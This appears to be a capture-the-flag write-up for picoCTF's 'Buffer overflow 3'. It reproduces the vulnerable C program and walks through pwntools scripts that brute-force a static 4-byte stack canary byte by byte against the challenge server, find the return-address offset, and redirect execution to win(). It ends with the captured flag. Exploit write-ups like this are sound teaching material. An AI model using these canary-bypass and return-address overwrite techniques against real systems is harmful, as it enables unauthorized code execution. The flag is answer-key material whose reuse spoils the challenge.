Buffer overflow 3
**  
binary  
picoctf

It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows.
Source code for the binary:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}

fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}

fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}

void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);

printf("Input> ");
read(0,buf,count);

if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
This program creates a custom canary and checks if it has been modified
if (memcmp(canary,global_canary,CANARY_SIZE))
The canary is not known, but the size of it is defined as 4. To bypass the check I had to guess te value of the canary.

1.I found the location in memory of the canary:

I used https://wiremask.eu/tools/buffer-overflow-pattern-generator/ to generate a random string and used it to get the offset.
25:0094│ eax 0xffffcf28 ◂— 0x63413163 ('c1Ac')
I knew it was the right address as I ran the program before without any overflow to see at which address my string from canary.txt is.
# 25:0094│ eax 0xffffcf28 ◂— 0x74736574 ('test')
====>position 64

To check if I was correct, I ran the pwn script with the right value of the canary and there was no problem.
def loc():
binary = './vuln'
p = process(binary)
print(p.recvuntil(b"> "))
#the number of bytes, 100 will overflow
p.sendline(b'100')
print(p.recvuntil(b"Input> "))
p.sendline(b'A'*64 + b"\x74\x65\x73\x74" + b'A'*100)
print(p.recvall())

[+] Starting local process './vuln': pid 7699
b'How Many Bytes will You Write Into the Buffer?\n> '
b'Input> '
[+] Receiving all data: Done (28B)
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 7699)
b"Ok... Now Where's the Flag?\n"

Then I modified the size of the padding and the stack smashing was detected.
def loc():
binary = './vuln'
p = process(binary)
print(p.recvuntil(b"> "))
#the number of bytes, 100 will overflow
p.sendline(b'100')
print(p.recvuntil(b"Input> "))
p.sendline(b'A'*63 + b"\x74\x65\x73\x74" + b'A'*100)
print(p.recvall())
[+] Starting local process './vuln': pid 7745
b'How Many Bytes will You Write Into the Buffer?\n> '
b'Input> '
[+] Receiving all data: Done (60B)
[*] Process './vuln' stopped with exit code 0 (pid 7745)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'

2.I guessed it letter by letter:
I tried every ascii character until I got the right one for every position.
I manually incremented the size and saved the string as I had to do this operation only 4 times
r.sendline(b'SIZE'), size is from 65 to 68
AND
r.sendline(b'A'*64 +b'STRING' + value)
The code:
def rem(value):
r = remote("saturn.picoctf.net",50044)
# print(r.recvuntil(b"> "))
r.sendline(b'68')
# print(r.recvuntil(b"Input> "))
r.sendline(b'A'*64 +b'BiRd' + value)
return r.recvall()


for i in range(255):
value = i.to_bytes(1, 'little')
result = rem(value)
if b'Smashing' not in result:
print(value)
break


Now, calling the win function.
For the address: info functions ---> 0x08049336  win
For the location of eip:
  string:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
*EIP  0x61413561 ('a5Aa') --->offset:16

local:
def loc():
binary = './vuln'
p = process(binary)
print(p.recvuntil(b"> "))
#the number of bytes, 100 will overflow
p.sendline(b'100')
print(p.recvuntil(b"Input> "))
p.sendline(b'A'*64 + b"BiRd" + b'A'*16 + b'\x36\x93\x04\x08')
print(p.recvall())

remote:
def rem():
r = remote("saturn.picoctf.net",53100)
# print(r.recvuntil(b"> "))
r.sendline(b'200')
# print(r.recvuntil(b"Input> "))
r.sendline(b'A'*64 + b"BiRd" + b'A'*16 + b'\x36\x93\x04\x08')
print(r.recvall())

picoCTF{Stat1C_c4n4r13s_4R3_b4D_0bf0b08e}